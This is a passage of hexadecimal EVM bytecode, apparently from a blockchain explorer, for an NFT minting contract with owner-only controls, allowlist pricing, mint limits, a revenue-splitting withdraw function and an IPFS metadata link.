108c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bd90613f18565b60405180910390fd5b50505b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061099757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806109a757506109a682611fee565b5b9050919050565b6060600280546109bd90613f67565b80601f01602080910402602001604051908101604052809291908181526020018280546109e990613f67565b8015610a365780601f10610a0b57610100808354040283529160200191610a36565b820191906000526020600020905b815481529060010190602001808311610a1957829003601f168201915b5050505050905090565b6000610a4b82612058565b610a81576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610ac78261139d565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b2e576040517f943f7b8c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b4d6120a6565b73ffffffffffffffffffffffffffffffffffffffff1614158015610b7f5750610b7d81610b786120a6565b611d8f565b155b15610bb6576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610bc18383836120ae565b505050565b600581565b610bd36120a6565b73ffffffffffffffffffffffffffffffffffffffff16610bf16116a8565b73ffffffffffffffffffffffffffffffffffffffff1614610c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3e90613fe4565b60405180910390fd5b610c4f610cba565b81600954610c5d9190614033565b1015610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c95906140b3565b60405180910390fd5b8060096000828254610cb09190614033565b9250508190555050565b6000610cc4612160565b6001546000540303905090565b610cdc838383612169565b505050565b60095481565b610cef6120a6565b73ffffffffffffffffffffffffffffffffffffffff16610d0d6116a8565b73ffffffffffffffffffffffffffffffffffffffff1614610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a90613fe4565b60405180910390fd5b600047905060008111610d7557600080fd5b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a600284610dbf91906140d3565b610dc9919061415c565b604051610dd590613eb7565b60006040518083038185875af1925050503d8060008114610e12576040519150601f19603f3d011682016040523d82523d6000602084013e610e17565b606091505b5050905080610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5290613f18565b60405180910390fd5b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a600285610ea591906140d3565b610eaf919061415c565b604051610ebb90613eb7565b60006040518083038185875af1925050503d8060008114610ef8576040519150601f19603f3d011682016040523d82523d6000602084013e610efd565b606091505b5050905080610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3890613f18565b60405180910390fd5b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a600286610f8b91906140d3565b610f95919061415c565b604051610fa190613eb7565b60006040518083038185875af1925050503d8060008114610fde576040519150601f19603f3d011682016040523d82523d6000602084013e610fe3565b606091505b5050905080611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90613f18565b60405180910390fd5b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60028761107191906140d3565b61107b919061415c565b60405161108790613eb7565b60006040518083038185875af1925050503d80600081146110c4576040519150601f19603f3d011682016040523d82523d6000602084013e6110c9565b606091505b505090508061110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490613f18565b60405180910390fd5b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60018861115791906140d3565b611161919061415c565b60405161116d90613eb7565b60006040518083038185875af1925050503d80600081146111aa576040519150601f19603f3d011682016040523d82523d6000602084013e6111af565b606091505b50509050806111f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ea90613f18565b60405180910390fd5b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60018961123d91906140d3565b611247919061415c565b60405161125390613eb7565b60006040518083038185875af1925050503d8060008114611290576040519150601f19603f3d011682016040523d82523d6000602084013e611295565b606091505b50509050806112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613f18565b60405180910390fd5b50505050505050565b6112fd83838360405180602001604052806000815250611967565b505050565b61130b81612658565b50565b6113166120a6565b73ffffffffffffffffffffffffffffffffffffffff166113346116a8565b73ffffffffffffffffffffffffffffffffffffffff161461138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190613fe4565b60405180910390fd5b80600e90816113999190614339565b5050565b60006113a8826129fb565b600001519050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361141a576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff169050919050565b61148a6120a6565b73ffffffffffffffffffffffffffffffffffffffff166114a86116a8565b73ffffffffffffffffffffffffffffffffffffffff16146114fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f590613fe4565b60405180910390fd5b6115086000612c8a565b565b600080600b548561151b91906140d3565b905061157061152987612d50565b858580806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050612d80565b80156115bb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156115c957506000600a54115b156115f457600b546115dc600187612d97565b6115e691906140d3565b816115f19190614033565b90505b80915050949350505050565b6116086120a6565b73ffffffffffffffffffffffffffffffffffffffff166116266116a8565b73ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390613fe4565b60405180910390fd5b600c60009054906101000a900460ff1615600c60006101000a81548160ff021916908315150217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6116da6120a6565b73ffffffffffffffffffffffffffffffffffffffff166116f86116a8565b73ffffffffffffffffffffffffffffffffffffffff161461174e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174590613fe4565b60405180910390fd5b80600b8190555050565b60606003805461176790613f67565b80601f016020809104026020016040519081016040528092919081815260200182805461179390613f67565b80156117e05780601f106117b5576101008083540402835291602001916117e0565b820191906000526020600020905b8154815290600101906020018083116117c357829003601f168201915b5050505050905090565b6117f26120a6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611856576040517fb06307db00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80600760006118636120a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166119106120a6565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516119559190613693565b60405180910390a35050565b600a5481565b611972848484612169565b6119918373ffffffffffffffffffffffffffffffffffffffff16611fcb565b80156119a657506119a484848484612db1565b155b156119dd576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b60006119ed610cba565b905060095484826119fe919061440b565b1115611a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a36906144ad565b60405180910390fd5b6000611a4d3386868661150a565b905080341015611a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8990614519565b60405180910390fd5b84600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae1919061440b565b92505081905550600b5485611af691906140d3565b811015611b1c576001600a6000828254611b109190614033565b92505081905550611b7a565b600a54600954611b2c9190614033565b8583611b38919061440b565b1115611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7090614585565b60405180910390fd5b5b6005600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf4906145f1565b60405180910390fd5b600c60009054906101000a900460ff16611c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c439061465d565b60405180910390fd5b611c563386612f01565b5050505050565b6060611c6882612058565b611c9e576040517fa14c4b5000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000611ca8612f1f565b90506000815103611cc85760405180602001604052806000815250611cf3565b80611cd284612fb1565b604051602001611ce39291906146b9565b6040516020818303038152906040525b915050919050565b600e8054611d0890613f67565b80601f0160208091040260200160405190810160405280929190818152602001828054611d3490613f67565b8015611d815780601f10611d5657610100808354040283529160200191611d81565b820191906000526020600020905b815481529060010190602001808311611d6457829003601f168201915b505050505081565b600b5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600c60009054906101000a900460ff1681565b600d6020528060005260406000206000915090505481565b611e566120a6565b73ffffffffffffffffffffffffffffffffffffffff16611e746116a8565b73ffffffffffffffffffffffffffffffffffffffff1614611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec190613fe4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f309061474f565b60405180910390fd5b611f4281612c8a565b50565b611f4d6120a6565b73ffffffffffffffffffffffffffffffffffffffff16611f6b6116a8565b73ffffffffffffffffffffffffffffffffffffffff1614611fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb890613fe4565b60405180910390fd5b80600f8190555050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600081612063612160565b11158015612072575060005482105b801561209f575060046000838152602001908152602001600020600001601c9054906101000a900460ff16155b9050919050565b600033905090565b826006600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006001905090565b6000612174826129fb565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661219b6120a6565b73ffffffffffffffffffffffffffffffffffffffff1614806121ce57506121cd82600001516121c86120a6565b611d8f565b5b8061221357506121dc6120a6565b73ffffffffffffffffffffffffffffffffffffffff166121fb84610a40565b73ffffffffffffffffffffffffffffffffffffffff16145b90508061224c576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff16146122b5576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361231b576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6123288585856001613111565b61233860008484600001516120ae565b6001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506001600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550836004600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036125e8576000548110156125e75782600001516004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46126518585856001613117565b5050505050565b6000612663826129fb565b905061267781600001516000846001613111565b61268760008383600001516120ae565b600160056000836000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600160056000836000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555080600001516004600084815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600084815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600160046000848152602001908152602001600020600001601c6101000a81548160ff0219169083151502179055506000600183019050600073ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603612972576000548110156129715781600001516004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081602001516004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b5081600073ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46129e581600001516000846001613117565b6001600081548092919060010191905055505050565b612a0361359c565b600082905080612a11612160565b11158015612a20575060005481105b15612c53576000600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff16151515158152505090508060400151612c5157600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612b35578092505050612c85565b5b600115612c5057818060019003925050600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612c4b578092505050612c85565b612b36565b5b505b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081604051602001612d639190613e6b565b604051602081830303815290604052805190602001209050919050565b6000612d8f82600f548561311d565b905092915050565b600081831115612da75781612da9565b825b905092915050565b60008373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612dd76120a6565b8786866040518563ffffffff1660e01b8152600401612df994939291906147c4565b6020604051808303816000875af1925050508015612e3557506040513d601f19601f82011682018060405250810190612e329190614825565b60015b612eae573d8060008114612e65576040519150601f19603f3d011682016040523d82523d6000602084013e612e6a565b606091505b506000815103612ea6576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050949350505050565b612f1b828260405180602001604052806000815250613134565b5050565b6060600e8054612f2e90613f67565b80601f0160208091040260200160405190810160405280929190818152602001828054612f5a90613f67565b8015612fa75780601f10612f7c57610100808354040283529160200191612fa7565b820191906000526020600020905b815481529060010190602001808311612f8a57829003601f168201915b5050505050905090565b606060008203612ff8576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061310c565b600082905060005b6000821461302a57808061301390614852565b915050600a82613023919061415c565b9150613000565b60008167ffffffffffffffff8111156130465761304561391b565b5b6040519080825280601f01601f1916602001820160405280156130785781602001600182028036833780820191505090505b5090505b60008514613105576001826130919190614033565b9150600a856130a0919061489a565b60306130ac919061440b565b60f81b8183815181106130c2576130c16148cb565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856130fe919061415c565b945061307c565b8093505050505b919050565b50505050565b50505050565b60008261312a8584613146565b1490509392505050565b61314183838360016131bb565b505050565b60008082905060005b84518110156131b057600085828151811061316d5761316c6148cb565b5b6020026020010151905080831161318f576131888382613585565b925061319c565b6131998184613585565b92505b5080806131a890614852565b91505061314f565b508091505092915050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603613227576040517f2e07630000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008403613261576040517fb562e8dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61326e6000868387613111565b83600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555083600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160088282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550846004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060008190506000858201905083801561343857506134378773ffffffffffffffffffffffffffffffffffffffff16611fcb565b5b156134fd575b818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46134ad6000888480600101955088612db1565b6134e3576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80820361343e5782600054146134f857600080fd5b613568565b5b818060010192508773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a48082036134fe575b81600081905550505061357e6000868387613117565b5050505050565b600082600052816020526040600020905092915050565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681526020016000151581525090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b613628816135f3565b811461363357600080fd5b50565b6000813590506136458161361f565b92915050565b600060208284031215613661576136606135e9565b5b600061366f84828501613636565b91505092915050565b60008115159050919050565b61368d81613678565b82525050565b60006020820190506136a86000830184613684565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156136e85780820151818401526020810190506136cd565b838111156136f7576000848401525b50505050565b6000601f19601f8301169050919050565b6000613719826136ae565b61372381856136b9565b93506137338185602086016136ca565b61373c816136fd565b840191505092915050565b60006020820190508181036000830152613761818461370e565b905092915050565b6000819050919050565b61377c81613769565b811461378757600080fd5b50565b60008135905061379981613773565b92915050565b6000602082840312156137b5576137b46135e9565b5b60006137c38482850161378a565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006137f7826137cc565b9050919050565b613807816137ec565b82525050565b600060208201905061382260008301846137fe565b92915050565b613831816137ec565b811461383c57600080fd5b50565b60008135905061384e81613828565b92915050565b6000806040838503121561386b5761386a6135e9565b5b60006138798582860161383f565b925050602061388a8582860161378a565b9150509250929050565b61389d81613769565b82525050565b60006020820190506138b86000830184613894565b92915050565b6000806000606084860312156138d7576138d66135e9565b5b60006138e58682870161383f565b93505060206138f68682870161383f565b92505060406139078682870161378a565b9150509250925092565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613953826136fd565b810181811067ffffffffffffffff821117156139725761397161391b565b5b80604052505050565b60006139856135df565b9050613991828261394a565b919050565b600067ffffffffffffffff8211156139b1576139b061391b565b5b6139ba826136fd565b9050602081019050919050565b82818337600083830152505050565b60006139e96139e484613996565b61397b565b905082815260208101848484011115613a0557613a04613916565b5b613a108482856139c7565b509392505050565b600082601f830112613a2d57613a2c613911565b5b8135613a3d8482602086016139d6565b91505092915050565b600060208284031215613a5c57613a5b6135e9565b5b600082013567ffffffffffffffff811115613a7a57613a796135ee565b5b613a8684828501613a18565b91505092915050565b600060208284031215613aa557613aa46135e9565b5b6000613ab38482850161383f565b91505092915050565b600080fd5b600080fd5b60008083601f840112613adc57613adb613911565b5b8235905067ffffffffffffffff811115613af957613af8613abc565b5b602083019150836020820283011115613b1557613b14613ac1565b5b9250929050565b60008060008060608587031215613b3657613b356135e9565b5b6000613b448782880161383f565b9450506020613b558782880161378a565b935050604085013567ffffffffffffffff811115613b7657613b756135ee565b5b613b8287828801613ac6565b925092505092959194509250565b613b9981613678565b8114613ba457600080fd5b50565b600081359050613bb681613b90565b92915050565b60008060408385031215613bd357613bd26135e9565b5b6000613be18582860161383f565b9250506020613bf285828601613ba7565b9150509250929050565b600067ffffffffffffffff821115613c1757613c1661391b565b5b613c20826136fd565b9050602081019050919050565b6000613c40613c3b84613bfc565b61397b565b905082815260208101848484011115613c5c57613c5b613916565b5b613c678482856139c7565b509392505050565b600082601f830112613c8457613c83613911565b5b8135613c94848260208601613c2d565b91505092915050565b60008060008060808587031215613cb757613cb66135e9565b5b6000613cc58782880161383f565b9450506020613cd68782880161383f565b9350506040613ce78782880161378a565b925050606085013567ffffffffffffffff811115613d0857613d076135ee565b5b613d1487828801613c6f565b91505092959194509250565b600080600060408486031215613d3957613d386135e9565b5b6000613d478682870161378a565b935050602084013567ffffffffffffffff811115613d6857613d676135ee565b5b613d7486828701613ac6565b92509250509250925092565b60008060408385031215613d9757613d966135e9565b5b6000613da58582860161383f565b9250506020613db68582860161383f565b9150509250929050565b6000819050919050565b613dd381613dc0565b8114613dde57600080fd5b50565b600081359050613df081613dca565b92915050565b600060208284031215613e0c57613e0b6135e9565b5b6000613e1a84828501613de1565b91505092915050565b60008160601b9050919050565b6000613e3b82613e23565b9050919050565b6000613e4d82613e30565b9050919050565b613e65613e60826137ec565b613e42565b82525050565b6000613e778284613e54565b60148201915081905092915050565b600081905092915050565b50565b6000613ea1600083613e86565b9150613eac82613e91565b600082019050919050565b6000613ec282613e94565b9150819050919050565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b6000613f026010836136b9565b9150613f0d82613ecc565b602082019050919050565b60006020820190508181036000830152613f3181613ef5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613f7f57607f821691505b602082108103613f9257613f91613f38565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613fce6020836136b9565b9150613fd982613f98565b602082019050919050565b60006020820190508181036000830152613ffd81613fc1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061403e82613769565b915061404983613769565b92508282101561405c5761405b614004565b5b828203905092915050565b7f4d6178206c696d69740000000000000000000000000000000000000000000000600082015250565b600061409d6009836136b9565b91506140a882614067565b602082019050919050565b600060208201905081810360008301526140cc81614090565b9050919050565b60006140de82613769565b91506140e983613769565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561412257614121614004565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061416782613769565b915061417283613769565b9250826141825761418161412d565b5b828204905092915050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026141ef7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826141b2565b6141f986836141b2565b95508019841693508086168417925050509392505050565b6000819050919050565b600061423661423161422c84613769565b614211565b613769565b9050919050565b6000819050919050565b6142508361421b565b61426461425c8261423d565b8484546141bf565b825550505050565b600090565b61427961426c565b614284818484614247565b505050565b5b818110156142a85761429d600082614271565b60018101905061428a565b5050565b601f8211156142ed576142be8161418d565b6142c7846141a2565b810160208510156142d6578190505b6142ea6142e2856141a2565b830182614289565b50505b505050565b600082821c905092915050565b6000614310600019846008026142f2565b1980831691505092915050565b600061432983836142ff565b9150826002028217905092915050565b614342826136ae565b67ffffffffffffffff81111561435b5761435a61391b565b5b6143658254613f67565b6143708282856142ac565b600060209050601f8311600181146143a35760008415614391578287015190505b61439b858261431d565b865550614403565b601f1984166143b18661418d565b60005b828110156143d9578489015182556001820191506020850194506020810190506143b4565b868310156143f657848901516143f2601f8916826142ff565b8355505b6001600288020188555050505b505050505050565b600061441682613769565b915061442183613769565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561445657614455614004565b5b828201905092915050565b7f53616c6520656e64730000000000000000000000000000000000000000000000600082015250565b60006144976009836136b9565b91506144a282614461565b602082019050919050565b600060208201905081810360008301526144c68161448a565b9050919050565b7f4e6f7420656e6f75676800000000000000000000000000000000000000000000600082015250565b6000614503600a836136b9565b915061450e826144cd565b602082019050919050565b60006020820190508181036000830152614532816144f6565b9050919050565b7f4f6e6c792066726565206d696e74000000000000000000000000000000000000600082015250565b600061456f600e836136b9565b915061457a82614539565b602082019050919050565b6000602082019050818103600083015261459e81614562565b9050919050565b7f457863656564204d617800000000000000000000000000000000000000000000600082015250565b60006145db600a836136b9565b91506145e6826145a5565b602082019050919050565b6000602082019050818103600083015261460a816145ce565b9050919050565b7f4e6f742041637469766500000000000000000000000000000000000000000000600082015250565b6000614647600a836136b9565b915061465282614611565b602082019050919050565b600060208201905081810360008301526146768161463a565b9050919050565b600081905092915050565b6000614693826136ae565b61469d818561467d565b93506146ad8185602086016136ca565b80840191505092915050565b60006146c58285614688565b91506146d18284614688565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006147396026836136b9565b9150614744826146dd565b604082019050919050565b600060208201905081810360008301526147688161472c565b9050919050565b600081519050919050565b600082825260208201905092915050565b60006147968261476f565b6147a0818561477a565b93506147b08185602086016136ca565b6147b9816136fd565b840191505092915050565b60006080820190506147d960008301876137fe565b6147e660208301866137fe565b6147f36040830185613894565b8181036060830152614805818461478b565b905095945050505050565b60008151905061481f8161361f565b92915050565b60006020828403121561483b5761483a6135e9565b5b600061484984828501614810565b91505092915050565b600061485d82613769565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361488f5761488e614004565b5b600182019050919050565b60006148a582613769565b91506148b083613769565b9250826148c0576148bf61412d565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fdfea2646970667358221220022b88ac6710a9efa0856f78b189158162edfe36864c808b3ee989a5135fc81664736f6c634300080f003368747470733a2f2f676174657761792e70696e6174612e636c6f75642f697066732f516d5a37673148647973736b324531704a6a6f69504b774c4b6a347251773150544d45716d6873706378547141732f

Deployed Bytecode

